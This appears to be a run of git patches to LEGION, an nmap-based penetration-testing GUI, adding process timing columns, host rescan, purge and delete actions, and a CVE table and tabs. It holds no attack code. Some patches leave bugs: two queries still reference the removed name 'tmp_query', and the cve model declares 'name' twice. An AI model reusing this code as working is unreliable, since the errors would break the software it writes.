-1110,18 +1110,19 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def updateProcessesTableView(self): - headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + headers = ["Progress", "Display", "Elapsed", "Estimated Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) - for i in [1,2,3,6,7,8,11,12,14]: # hide some columns + for i in [1, 5, 8, 9, 10, 13, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,210) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(5,135) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(9,165) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(10,165) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(3,165) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(6,210) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(7,135) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(11,165) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(12,165) self.updateProcessesIcon() def updateProcessesIcon(self): From 522246f6a4e43f256bae6fc8228991c01d9ebe68 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 07:29:21 -0600 Subject: [PATCH 049/450] Cleanup --- test.py | 29 ----------------------------- 1 file changed, 29 deletions(-) delete mode 100644 test.py diff --git a/test.py b/test.py deleted file mode 100644 index 7232c976..00000000 --- a/test.py +++ /dev/null @@ -1,29 +0,0 @@ -import sys -from PyQt5 import QtCore, QtWidgets - -class Thread(QtCore.QThread): - def __init__(self): - QtCore.QThread.__init__(self) - - def run(self): - thread_func() - self.exec_() - -timers = [] - -def thread_func(): - print("Thread works") - timer = QtCore.QTimer() - timer.timeout.connect(timer_func) - timer.start(1000) - print(timer.remainingTime()) - print(timer.isActive()) - timers.append(timer) - -def timer_func(): - print("Timer works") - -app = QtWidgets.QApplication(sys.argv) -thread_instance = Thread() -thread_instance.start() -sys.exit(app.exec_()) From aeab91bae54549fe2f943da5dcc26313da578632 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 09:40:05 -0600 Subject: [PATCH 050/450] Add rescan, purge and delete options to host context --- .justcloned | 0 app/logic.py | 63 +++++++++++++++++++++------------------- app/processmodels.py | 53 +++++++++++++++++---------------- controller/controller.py | 28 ++++++++++++++++++ db/database.py | 18 ++++++++++++ deps/installPython36.sh | 2 +- 6 files changed, 108 insertions(+), 56 deletions(-) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/app/logic.py b/app/logic.py index a68972f2..60bb3d74 100644 --- a/app/logic.py +++ b/app/logic.py @@ -272,74 +272,77 @@ def getPortsAndServicesForHostFromDB(self, hostIP, filters): # used to check if there are any ports of a specific protocol for a given host def getPortsForHostFromDB(self, hostIP, protocol): - tmp_query = ('SELECT ports.port_id FROM nmap_port AS ports ' + + query = ('SELECT ports.port_id FROM nmap_port AS ports ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'WHERE hosts.ip=? and ports.protocol=?') - - return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(protocol)).first() + results = self.db.metadata.bind.execute(tmp_query, str(hostIP), str(protocol)).first() + return results # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host def getServiceNameForHostAndPort(self, hostIP, port): - tmp_query = ('SELECT services.name FROM nmap_service AS services ' + + query = ('SELECT services.name FROM nmap_service AS services ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'INNER JOIN nmap_port AS ports ON services.id=ports.service_id ' + 'WHERE hosts.ip=? and ports.port_id=?') - - return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(port)).first() - + results = self.db.metadata.bind.execute(tmp_query, str(hostIP), str(port)).first() + return results + # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() - # TACOS ports_for_host = session.query(nmap_port).filter(nmap_port.host_id == hostID).filter(nmap_port.protocol == str(protocol)).all() - #ports_for_host = nmap_port.query.filter(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() - for p in ports_for_host: scripts_for_ports = session.query(nmap_script).filter(nmap_script.port_id == p.id).all() - #scripts_for_ports = nmap_script.query.filter(nmap_script.port_id == p.id).all() for s in scripts_for_ports: session.delete(s) - for p in ports_for_host: session.delete(p) - session.commit() + return def getHostInformation(self, hostIP): session = self.db.session() - return session.query(nmap_host).filter_by(ip=str(hostIP)).first() + results = session.query(nmap_host).filter_by(ip=str(hostIP)).first() + return results + + def deleteHost(self, hostIP): + session = self.db.session() + h = session.query(nmap_host).filter_by(ip=str(hostIP)).first() + session.delete(h) + session.commit() + return - def getPortStatesForHost(self,hostID): - tmp_query = ('SELECT port.state FROM nmap_port as port WHERE port.host_id=?') - return self.db.metadata.bind.execute(tmp_query, str(hostID)).fetchall() + def getPortStatesForHost(self, hostID): + query = ('SELECT port.state FROM nmap_port as port WHERE port.host_id=?') + results = self.db.metadata.bind.execute(query, str(hostID)).fetchall() + return results def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - - tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + 'WHERE services.name=?') if filters.down == False: - tmp_query += ' AND hosts.status!=\'down\'' + query += ' AND hosts.status!=\'down\'' if filters.up == False: - tmp_query += ' AND hosts.status!=\'up\'' + query += ' AND hosts.status!=\'up\'' if filters.checked == False: - tmp_query += ' AND hosts.checked!=\'True\'' + query += ' AND hosts.checked!=\'True\'' if filters.portopen == False: - tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' if filters.portclosed == False: - tmp_query += ' AND ports.state!=\'closed\'' + query += ' AND ports.state!=\'closed\'' if filters.portfiltered == False: - tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' if filters.tcp == False: - tmp_query += ' AND ports.protocol!=\'tcp\'' + query += ' AND ports.protocol!=\'tcp\'' if filters.udp == False: - tmp_query += ' AND ports.protocol!=\'udp\'' + query += ' AND ports.protocol!=\'udp\'' for word in filters.keywords: - tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' - return self.db.metadata.bind.execute(tmp_query, str(serviceName)).fetchall() + return self.db.metadata.bind.execute(query, str(serviceName)).fetchall() # this function returns all the processes from the DB # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. @@ -365,7 +368,7 @@ def getHostsForTool(self, toolname, closed='False'): if closed == 'FetchAll': tmp_query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') else: - tmp_query = ('SELECT process.id, "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') + tmp_query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') return self.db.metadata.bind.execute(tmp_query, str(toolname)).fetchall() diff --git a/app/processmodels.py b/app/processmodels.py index 8797a50f..2e93d344 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -55,32 +55,35 @@ def data(self, index, role): # this metho row = index.row() column = index.column() processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} - - if column == 0: - value = '' - elif column == 2: - value = "{0}{1}".format(str(self.__processes[row]['elapsed']), "s") - elif column == 3: - status = str(self.__processes[row]['status']) - if status == "Finished" or status == "Crashed" or status == "Killed": - estimatedRemaining = 0 - else: - estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - int(self.__processes[row]['elapsed']) - value = "{0}{1}".format(str(estimatedRemaining), "s") - elif column == 6: - if not self.__processes[row]['tabtitle'] == '': - value = self.__processes[row]['tabtitle'] - else: - value = self.__processes[row]['name'] - elif column == 8: - if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': - value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + try: + if column == 0: + value = '' + elif column == 2: + value = "{0}{1}".format(str(self.__processes[row]['elapsed']), "s") + elif column == 3: + status = str(self.__processes[row]['status']) + if status == "Finished" or status == "Crashed" or status == "Killed": + estimatedRemaining = 0 + else: + estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - int(self.__processes[row]['elapsed']) + value = "{0}{1}".format(str(estimatedRemaining), "s") + elif column == 5 or column == 6: + if not self.__processes[row]['tabtitle'] == '': + value = self.__processes[row]['tabtitle'] + else: + value = self.__processes[row]['name'] + elif column == 8: + if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': + value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + else: + value = self.__processes[row]['port'] + elif column == 16: + value = "" else: - value = self.__processes[row]['port'] - elif column == 16: - value = "" - else: - value = self.__processes[row][processColumns.get(int(column))] + value = self.__processes[row][processColumns.get(int(column))] + except Exception as e: + print(str(self.__processes[row])) + print(str(e)) return value def sort(self, Ncol, order): diff --git a/controller/controller.py b/controller/controller.py index e493e0aa..f3982414 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -229,6 +229,9 @@ def getContextMenuForHost(self, isChecked, showAll=True): # showAll ex menu.addAction('Mark as unchecked') else: menu.addAction('Mark as checked') + menu.addAction('Rescan') + menu.addAction('Purge Results') + menu.addAction('Delete') return menu, actions @@ -246,8 +249,33 @@ def handleHostAction(self, ip, hostid, actions, action): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') if self.logic.getPortsForHostFromDB(ip, 'udp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + self.view.updateInterface() self.runStagedNmap(ip, False) return + + if action.text() == 'Rescan': + log.info('Rescanning host {0}'.format(str(ip))) + self.runStagedNmap(ip, False) + return + + if action.text() == 'Purge Results': + log.info('Purging previous portscan data for host {0}'.format(str(ip))) + if self.logic.getPortsForHostFromDB(ip, 'tcp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') + if self.logic.getPortsForHostFromDB(ip, 'udp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + self.view.updateInterface() + return + + if action.text() == 'Delete': + log.info('Purging previous portscan data for host {0}'.format(str(ip))) + if self.logic.getPortsForHostFromDB(ip, 'tcp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') + if self.logic.getPortsForHostFromDB(ip, 'udp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + self.logic.deleteHost(ip) + self.view.updateInterface() + return for i in range(0,len(actions)): if action == actions[i]: diff --git a/db/database.py b/db/database.py index d0b3baa0..ec59d8a4 100644 --- a/db/database.py +++ b/db/database.py @@ -121,6 +121,22 @@ def __init__(self, port_id, protocol, state, host, service = ''): self.service_id = service self.host_id = host +class cve(Base): + __tablename__ = 'cve' + name = Column(String) + id = Column(Integer, primary_key = True) + url = Column(String) + name = Column(String) + criteria = Column(String) + fingerprint = Column(String) + service_id = Column(String, ForeignKey('nmap_service.id')) + host_id = Column(String, ForeignKey('nmap_host.id')) + + def __init__(self, url = '', name = '', criteria = '', fingerprint = ''): + self.url = url + self.name = name + self.criteria = criteria + self.fingerprint = fingerprint class nmap_service(Base): __tablename__ = 'nmap_service' @@ -131,6 +147,7 @@ class nmap_service(Base): extrainfo = Column(String) fingerprint = Column(String) port = relationship(nmap_port) + cves = relationship(cve) def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = ''): self.name = name @@ -176,6 +193,7 @@ class nmap_host(Base): # host relationships os = relationship(nmap_os) ports = relationship(nmap_port) + cves = relationship(cve) def __init__(self, **kwargs): self.checked = kwargs.get('checked') or 'False' diff --git a/deps/installPython36.sh b/deps/installPython36.sh index 8522a44e..e3435206 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -1,7 +1,7 @@ #!/bin/bash cd /tmp -# Setup Python3.5 +# Setup Python3.6 wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz tar xzf Python-3.6.6.tgz cd Python-3.6.6/ From 63221f1310d6c27c32b0e6ecf2e2f46b55b463c7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 10:48:55 -0600 Subject: [PATCH 051/450] Performance improvements when lots of processes are updating the screen --- .justcloned | 0 CHANGELOG.txt | 6 ++++++ app/processmodels.py | 10 ++++++++-- controller/controller.py | 16 +++++++++++----- 4 files changed, 25 insertions(+), 7 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/CHANGELOG.txt b/CHANGELOG.txt index b6174abf..ccd224c6 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -30,3 +30,9 @@ LEGION 0.2.2 * Setup to use AsyncIO * Dep installer fixes * Addition of .justcloned to re-initalize on cloning / pull to update + +LEGION 0.2.3 + +* Bug fixes for edge cases +* Elapsed and estimated remaining time for processes +* Improved UI performance diff --git a/app/processmodels.py b/app/processmodels.py index 2e93d344..74b44221 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -6,9 +6,11 @@ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. +B This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . +B ''' import re @@ -59,13 +61,17 @@ def data(self, index, role): # this metho if column == 0: value = '' elif column == 2: - value = "{0}{1}".format(str(self.__processes[row]['elapsed']), "s") + pid = int(self.__processes[row]['pid']) + elapsed = round(self.__controller.controller.processMeasurements.get(pid), 1) + value = "{0}{1}".format(str(elapsed), "s") elif column == 3: status = str(self.__processes[row]['status']) if status == "Finished" or status == "Crashed" or status == "Killed": estimatedRemaining = 0 else: - estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - int(self.__processes[row]['elapsed']) + pid = int(self.__processes[row]['pid']) + elapsed = round(self.__controller.controller.processMeasurements.get(pid), 1) + estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) value = "{0}{1}".format(str(estimatedRemaining), "s") elif column == 5 or column == 6: if not self.__processes[row]['tabtitle'] == '': diff --git a/controller/controller.py b/controller/controller.py index f3982414..9b5dc55a 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -26,7 +26,7 @@ class Controller(): # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.version = 'LEGION 0.2.2' # update this everytime you commit! + self.version = 'LEGION 0.2.3' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) @@ -38,6 +38,7 @@ def __init__(self, view, logic): self.start() # initialisations (globals, etc) self.initTimers() self.processTimers = {} + self.processMeasurements = {} # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime def start(self, title='*untitled'): @@ -76,6 +77,10 @@ def initTimers(self): # these time self.updateUI2Timer.setSingleShot(True) self.updateUI2Timer.timeout.connect(self.view.updateInterface) + self.processTableUiUpdateTimer = QTimer() + self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) + self.processTableUiUpdateTimer.start(1000) + # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): self.settingsFile = AppSettings() @@ -548,13 +553,13 @@ def runCommand(self, *args, discovery=True, stage=0, stop=False): def handleProcStop(*vargs): updateElapsed.stop() self.processTimers[qProcess.id] = None - - def handleProcUpdate(*vargs): procTime = timer.elapsed() / 1000 qProcess.elapsed = procTime self.logic.storeProcessRunningElapsedInDB(qProcess.id, procTime) - #self.updateUITimer.start(1000) - self.view.updateProcessesTableView() + + def handleProcUpdate(*vargs): + procTime = timer.elapsed() / 1000 + self.processMeasurements[qProcess.pid()] = procTime name = args[0] tabtitle = args[1] @@ -577,6 +582,7 @@ def handleProcUpdate(*vargs): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) updateElapsed.start(1000) self.processTimers[qProcess.id] = updateElapsed + self.processMeasurements[qProcess.pid()] = 0 log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) From a11832a32a052669d5ab34d7e62ea869e6be1b02 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 12:24:23 -0600 Subject: [PATCH 052/450] More UI elements updated --- .justcloned | 0 app/logic.py | 9 ++------- controller/controller.py | 2 +- ui/gui.py | 20 ++++++++++++++++++++ ui/view.py | 18 +++++++++++++++++- 5 files changed, 40 insertions(+), 9 deletions(-) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/app/logic.py b/app/logic.py index 60bb3d74..3688facb 100644 --- a/app/logic.py +++ b/app/logic.py @@ -504,10 +504,8 @@ def storeProcessRunningElapsedInDB(self, procId, elapsed): def storeProcessOutputInDB(self, procId, output): session = self.db.session() proc = session.query(process).filter_by(id=procId).first() - #proc = process.query.filter_by(id=procId).first() if proc: proc_output = session.query(process_output).filter_by(process_id=procId).first() - #proc_output = process_output.query.filter_by(process_id=procId).first() if proc_output: proc_output.output=unicode(output) session.add(proc_output) @@ -515,19 +513,17 @@ def storeProcessOutputInDB(self, procId, output): proc.endtime = getTimestamp(True) # store end time if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": # if the process has been killed don't change the status to "Finished" - #session.commit() self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what return True else: proc.status = 'Finished' session.add(proc) - #session.commit() self.db.commit() def storeNotesInDB(self, hostId, notes): if len(notes) == 0: - notes = unicode("Notes for {hostId}".format(hostId=hostId)) - log.info("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + notes = unicode("".format(hostId=hostId)) + log.debug("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) t_note = self.getNoteFromDB(hostId) if t_note: t_note.text = unicode(notes) @@ -535,7 +531,6 @@ def storeNotesInDB(self, hostId, notes): t_note = note(hostId, unicode(notes)) session = self.db.session() session.add(t_note) - #session.commit() self.db.commit() def isKilledProcess(self, procId): diff --git a/controller/controller.py b/controller/controller.py index 9b5dc55a..35650358 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -79,7 +79,7 @@ def initTimers(self): # these time self.processTableUiUpdateTimer = QTimer() self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) - self.processTableUiUpdateTimer.start(1000) + self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): diff --git a/ui/gui.py b/ui/gui.py index 2f383fd4..ab754dcf 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -135,6 +135,15 @@ def setupLeftPanel(self): self.horizontalLayout_3.addWidget(self.ToolsTableView) self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) + self.CvesLeftTab = QtWidgets.QWidget() + self.CvesLeftTab.setObjectName(_fromUtf8("CvesLeftTab")) + self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.CvesLeftTab) + self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8")) + self.CvesTableView = QtWidgets.QTableView(self.CvesLeftTab) + self.CvesTableView.setObjectName(_fromUtf8("CvesTableView")) + self.horizontalLayout_8.addWidget(self.CvesTableView) + self.HostsTabWidget.addTab(self.CvesLeftTab, _fromUtf8("")) + def setupRightPanel(self): self.ServicesTabWidget = QtWidgets.QTabWidget() self.ServicesTabWidget.setEnabled(True) @@ -190,6 +199,15 @@ def setupRightPanel(self): self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) self.verticalLayout.addWidget(self.ServicesTableView) self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8("")) + + self.CvesRightTab = QtWidgets.QWidget() + self.CvesRightTab.setObjectName(_fromUtf8("CvesRightTab")) + self.verticalLayout_1 = QtWidgets.QVBoxLayout(self.CvesRightTab) + self.verticalLayout_1.setObjectName(_fromUtf8("verticalLayout_1")) + self.CvesTableView = QtWidgets.QTableView(self.CvesRightTab) + self.CvesTableView.setObjectName(_fromUtf8("CvesTableView")) + self.verticalLayout_1.addWidget(self.CvesTableView) + self.ServicesTabWidget.addTab(self.CvesRightTab, _fromUtf8("")) self.ScriptsTab = QtWidgets.QWidget() self.ScriptsTab.setObjectName(_fromUtf8("ScriptsTab")) @@ -343,8 +361,10 @@ def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "LEGION", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.CvesLeftTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtWidgets.QApplication.translate("MainWindow", "Tools", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.CvesRightTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtWidgets.QApplication.translate("MainWindow", "Scripts", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtWidgets.QApplication.translate("MainWindow", "Information", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtWidgets.QApplication.translate("MainWindow", "Notes", None)) diff --git a/ui/view.py b/ui/view.py index b06e2a4d..c65990a8 100644 --- a/ui/view.py +++ b/ui/view.py @@ -77,6 +77,7 @@ def startOnce(self): self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) + self.ui.CvesTableView.setSelectionMode(1) self.ui.ToolsTableView.setSelectionMode(1) self.ui.ScriptsTableView.setSelectionMode(1) self.ui.ToolHostsTableView.setSelectionMode(1) @@ -125,6 +126,7 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) @@ -184,6 +186,10 @@ def initTables(self): # this funct headers = ["Name"] setTableProperties(self.ui.ServiceNamesTableView, len(headers)) + # cves table (left) + headers = ["Name", "URL", "Fingerprint"] + setTableProperties(self.ui.CvesTableView, len(headers)) + # tools table (left) headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolsTableView, len(headers), [0,1,2,4,5,6,7,8,9,10,11,12,13]) @@ -614,11 +620,13 @@ def switchTabClick(self): if selectedTab == 'Hosts': self.ui.ServicesTabWidget.insertTab(1,self.ui.ScriptsTab,("Scripts")) self.ui.ServicesTabWidget.insertTab(2,self.ui.InformationTab,("Information")) - self.ui.ServicesTabWidget.insertTab(3,self.ui.NotesTab,("Notes")) + self.ui.ServicesTabWidget.insertTab(3,self.ui.CvesRightTab,("CVEs")) + self.ui.ServicesTabWidget.insertTab(4,self.ui.NotesTab,("Notes")) self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) self.restoreToolTabWidget() ### @@ -634,6 +642,14 @@ def switchTabClick(self): if self.lazy_update_services == True: self.updateServiceNamesTableView() self.serviceNamesTableClick() + + elif selectedTab == 'CVEs': + self.ui.ServicesTabWidget.setCurrentIndex(0) + self.removeToolTabs(0) # remove the tool tabs + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.lazy_update_services == True: + self.updateServiceNamesTableView() + self.serviceNamesTableClick() elif selectedTab == 'Tools': self.updateToolsTableView() From bc920a468e507db8340dda2b98818a0e4d4c49a7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 12:24:44 -0600 Subject: [PATCH 053/450] More UI elements updated --- .justcloned | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b From 59e331f93d43420f6e11fb822708c1a02cbb5f80 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Dec 2018 15:38:43 -0600 Subject: [PATCH 054/450] Stage triggers fixed, Edge case fixes --- CHANGELOG.txt | 3 +++ app/logic.py | 6 +++--- app/processmodels.py | 4 ++-- controller/controller.py | 11 +++++++---- 4 files changed, 15 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index ccd224c6..44dd8574 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -35,4 +35,7 @@ LEGION 0.2.3 * Bug fixes for edge cases * Elapsed and estimated remaining time for processes +* Host 1-M CVE UI element added +* Service 1-M CVE UI element added +* CVE object model revised * Improved UI performance diff --git a/app/logic.py b/app/logic.py index 3688facb..21cdd1df 100644 --- a/app/logic.py +++ b/app/logic.py @@ -44,7 +44,7 @@ def createTemporaryFiles(self): except: log.info('Something went wrong creating the temporary files..') - log.info("Unexpected error:", sys.exc_info()) + log.info("Unexpected error: {0}".format(sys.exc_info())) def removeTemporaryFiles(self): log.info('Removing temporary files and folders..') @@ -63,7 +63,7 @@ def removeTemporaryFiles(self): except: log.info('Something went wrong removing temporary files and folders..') - log.info("Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def createFolderForTool(self, tool): if 'nmap' in tool: @@ -411,7 +411,7 @@ def addProcessToDB(self, proc): def addScreenshotToDB(self, ip, port, filename): p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process("-2", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) + p = process("-", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) session = self.db.session() session.add(p) session.commit() diff --git a/app/processmodels.py b/app/processmodels.py index 74b44221..f44c9e18 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -62,7 +62,7 @@ def data(self, index, role): # this metho value = '' elif column == 2: pid = int(self.__processes[row]['pid']) - elapsed = round(self.__controller.controller.processMeasurements.get(pid), 1) + elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 1) value = "{0}{1}".format(str(elapsed), "s") elif column == 3: status = str(self.__processes[row]['status']) @@ -70,7 +70,7 @@ def data(self, index, role): # this metho estimatedRemaining = 0 else: pid = int(self.__processes[row]['pid']) - elapsed = round(self.__controller.controller.processMeasurements.get(pid), 1) + elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 1) estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) value = "{0}{1}".format(str(estimatedRemaining), "s") elif column == 5 or column == 6: diff --git a/controller/controller.py b/controller/controller.py index 35650358..1071f6bf 100644 